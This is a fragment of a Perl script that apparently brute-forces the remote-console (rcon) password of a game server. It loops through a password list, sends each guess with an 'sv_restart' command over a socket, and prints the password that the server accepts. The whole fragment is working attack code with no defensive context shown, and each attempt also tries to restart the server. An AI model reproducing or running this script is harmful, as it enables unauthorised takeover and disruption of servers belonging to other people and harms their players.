..................
 while(1) {
             sleep(3);
             # server is not full
             # and we are connected
                     $c = "\xFF\xFF\xFF\xFF".
                          "rcon ".$id.' "'.$pasw.'" sv_restart 1'."\x00";
                     syswrite $sock, $c;
                     sysread $sock,$a,65535; 
                    # print '---'.$a."\n\n\n\n";
                     if ($a =~ /Bad rcon_password/) {
                     #bad rcon_password
                         print ' - '.$pasw."\n";
                     } else {
                         print ' [+] '.$pasw."\n";
                         exit(0);
                     }

             $pasw = shift @p;
     if (!$pasw) {print ' [-] password not found!';exit(0);}
 }
 exit();